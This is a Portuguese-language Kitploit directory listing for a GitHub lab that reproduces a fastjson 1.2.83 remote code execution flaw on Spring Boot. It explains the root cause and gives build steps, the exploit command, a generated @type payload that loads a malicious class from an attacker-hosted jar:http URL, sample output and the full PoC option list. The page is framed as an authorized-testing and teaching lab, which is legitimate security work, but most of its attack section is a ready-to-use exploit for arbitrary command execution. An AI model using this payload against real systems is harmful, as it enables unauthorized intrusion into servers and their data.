Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/dichen-l/cve-2026-16723-vul
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdichen-l/cve-2026-16723-vul

CVE-2026-16723-vul

Laboratório reproduzível de RCE com Spring Boot + fastjson 1.2.83, com um PoC em Python que gera e hospeda um JAR malicioso e entrega o payload @type.

há 22 diasAinda não revisado
Ver Repositório
Compartilhar

CVE-2026-16723 fastjson 1.2.83 ambiente de reprodução de execução remota de código

Este é um ambiente mínimo de reprodução executável: Spring Boot 2.7.18 fat-jar executável + fastjson 1.2.83, acompanhado de um PoC em Python puro que gera uma classe maliciosa com nome de classe no formato jar: URL, hospeda o JAR, imprime o payload @type e o envia automaticamente.

Apenas para testes autorizados: este projeto executa comandos arbitrários e fornece um JAR malicioso externamente. Use apenas para experimentos locais, CTF, ensino ou testes de segurança explicitamente autorizados; não o utilize contra sistemas não autorizados. Interrompa imediatamente a aplicação e o serviço do PoC após concluir os testes.

Introdução à vulnerabilidade

  • Escopo de impacto: 1.2.68 <= fastjson <= 1.2.83; corrigido em 1.2.84.
  • Pré-requisito crítico: o alvo é executado como fat-jar executável do Spring Boot (java -jar xxx.jar), e a thread de parsing consegue usar o LaunchedURLClassLoader do Boot. AutoType e SafeMode permanecem desativados por padrão.
  • Causa raiz: ParserConfig#checkAutoType, com o AutoType desativado, ainda concatena o @type controlado pelo atacante em um caminho de recurso e chama getResourceAsStream para sondagem; uma classe remota, desde que tenha @JSONType, é tratada como tipo confiável e continua para loadClass.
  • Gatilho: TypeUtils#loadClass define, por meio do class loader do Boot, um nome de classe no formato jar:http://...; o EnumDeserializer, ao ser construído, chama getEnumConstants(), executa o <clinit> do enum malicioso e, por fim, executa comandos arbitrários com as permissões do processo da aplicação.
  • Característica: não é necessário que exista uma cadeia de exploração no classpath do alvo; a classe maliciosa é gerada e hospedada em tempo real pelo PoC.

Estrutura do repositório

<workspace>/
├── CVE-2026-16723-fastjson1.2.83/          # 漏洞环境(本目录)
│   ├── README.md                           # 本文件
│   ├── .gitignore                          # 忽略构建/运行产物
│   ├── pom.xml                             # 聚合 POM(仅 vuln-app)
│   ├── vuln-app/                           # Spring Boot 2.7.18 + fastjson 1.2.83
└── CVE-2026-16723-fastjson1.2.83-poc/
    ├── .gitignore                          # 忽略 Python/PoC 产物
    └── poc.py                              # 纯 Python PoC,仅标准库

Requisitos de ambiente

ItemRequisito
JDK8 (verificado; use java -jar para iniciar o fat-jar)
Maven3.6+ (verificado 3.9)
Python3.8+ (verificado 3.11, apenas biblioteca padrão)
Sistema operacionalWindows ou Linux; PoC usa cmd por padrão, para alvos Linux adicione --shell sh
Portas8090 aplicação, 19090 serviço HTTP do PoC, 5005 JDWP
RedeO alvo deve conseguir acessar --host:--port; para reprodução local use 127.0.0.1

Ambiente testado deste README: Windows 10 x64, Oracle JDK 1.8.0_503, Apache Maven 3.9.16, Python 3.11. Para alvos Linux use --shell sh.

Recomenda-se executar em uma máquina virtual ou host de teste isolado. Versões mais recentes do JDK, executar a classe principal diretamente na IDE ou mvn spring-boot:run podem alterar o comportamento de carregamento de classes, fazendo com que o payload não funcione.

Início rápido

1. Compilação

Execute no diretório do ambiente vulnerável:

mvn -DskipTests clean package

2. Iniciar a aplicação

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar vuln-app\target\fastjson-demo.jar

Quando a depuração remota não for necessária, remova o parâmetro -agentlib:jdwp=...:

É obrigatório iniciar este fat-jar com java -jar. Executar a classe principal diretamente na IDE ou usar spring-boot:run normalmente utiliza o AppClassLoader, que pode não conseguir definir nomes de classe no formato de URL jar:, resultando em apenas sondagem remota visível e nenhuma execução de <clinit>.

3. Confirmar o estado de execução

Abra outro terminal:

curl.exe -s http://127.0.0.1:8090/api/info

A resposta deve conter pelo menos:

{
  "fastjson_version": "1.2.83",
  "auto_type_support": false,
  "safe_mode": false,
  "fastjson_location": "jar:file:/.../fastjson-demo.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/"
}

4. Executar o PoC

Entre no diretório PoC do mesmo nível:

cd ..\CVE-2026-16723-fastjson1.2.83-poc

python poc.py --host 127.0.0.1 --command "whoami > poc_result.txt" --target http://127.0.0.1:8090/api/parse-boot-loader

--host é o IP do atacante acessível pelo alvo (endereço de hospedagem da classe maliciosa). Para reprodução local, preencha 127.0.0.1; para alvos remotos, é obrigatório preencher um endereço acessível pelo alvo. IPv4 com pontos é automaticamente convertido para decimal e escrito na URL jar:. Quando --target é omitido, o PoC apenas imprime o payload e mantém a hospedagem, adequado para envio manual.

É obrigatório usar /api/parse-boot-loader (ou /api/login-boot-loader) como ponto de entrada. Ele define o TCCL da thread de parsing como o LaunchedURLClassLoader do Boot; a thread de requisição do Tomcat padrão em /api/parse geralmente apenas dispara sondagem remota, não define o nome da classe URL e, portanto, não executa <clinit>. Isso não significa que a vulnerabilidade não existe, mas sim que é o pré-requisito de classloader desta reprodução.

5. Fenômeno de sucesso

A saída do PoC é semelhante a:

[*] attacker host : 127.0.0.1 -> 2130706433
[*] class         : jar:http://2130706433:19090/poc7f5be8!/Poc1a2b3c4d
[*] payload       : {"@type":"jar:http:..2130706433:19090.poc7f5be8!.Poc1a2b3c4d"}
[*] command       : whoami > poc_result.txt (cmd.exe /c)
[*] serving       : http://2130706433:19090/poc7f5be8 (entry Poc1a2b3c4d.class)
[*] POST          : http://127.0.0.1:8090/api/parse-boot-loader
[*] response      : 500 {"error":"com.alibaba.fastjson.JSONException","message":"create instance error",...}
[*] success marks : target log 'POC_EXECUTED:Poc1a2b3c4d', command effect, server GET /poc7f5be8

Ao mesmo tempo, deve-se observar:

  • O serviço HTTP embutido do PoC recebe GET /poc<hex> (pelo menos 1 vez, comumente 2 vezes);
  • A resposta do alvo é HTTP 500, e a resposta ou os logs contêm create instance error. Este é o erro esperado causado pela ausência de um construtor sem parâmetros no enum após a execução de <clinit>, não representa falha na exploração;
  • Em poc_result.txt deve-se ver a saída de whoami.

Parâmetros do PoC

ParâmetroDescrição
--hostIP/nome do host que hospeda a classe maliciosa (padrão 127.0.0.1); IPv4 com pontos é convertido automaticamente para decimal; o nome do host não pode conter .
--portPorta do serviço HTTP do PoC (padrão 19090)
--bindEndereço de bind do HTTP (padrão 0.0.0.0)
--command / -cObrigatório, o comando a ser executado no alvo
--shellcmd (cmd.exe /c, padrão) ou sh (/bin/sh -c)
--targetOpcional, URL completa para POST automático, por exemplo http://127.0.0.1:8090/api/parse-boot-loader
--bodyOpcional, template do corpo da requisição; {{payload}} será substituído pelo payload JSON gerado
--pathOpcional, caminho da URL do JAR; padrão aleatório /poc<hex>, não pode conter . ou !
--class-nameOpcional, nome da classe; padrão aleatório Poc<hex>, deve ser um identificador Java válido
--timeoutTempo limite HTTP do alvo em segundos (padrão 20)
--serve-afterSegundos de hospedagem contínua após o envio automático (padrão 5)
--saveSalva o .class gerado e o poc.jar no diretório especificado
Baixar ferramenta

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 O kit definitivo de OSINT: grafo de investigação, pontuação de confiança, famílias de alias, mapa, linha do tempo e relatórios. 49 módulos, mais de 400 sites, sem necessidade de chaves de API.

    795
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicativo de Execução em Um Toque GhostLock (CVE-2026-43499)

    520
  • 3

    ARTEX

    baarai/artex

    Plataforma autônoma de testes de penetração multiagente com LLM, com agentes planejador/executor, grafos de ativos e de exploração, registro de tráfego MITM e reteste de vulnerabilidades.

    439
  • 4

    redforge

    cybersecurity91/redforge

    Kit de ferramentas de red team do lado do navegador com 102 ferramentas offline para reconhecimento, geração de payloads, ataques a credenciais, criptografia, codificação e relatórios de engajamento.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    Plataforma CSIRT que ingere relatórios do Shadowserver no MongoDB e os reproduz como mapas interativos, análises, descobertas, avisos e painéis executivos.

    267
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    O sistema de ação para cibersegurança nativa em IA—onde a intenção se torna execução governada, a evidência se torna memória operacional, e cada operação melhora a próxima.

    264

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →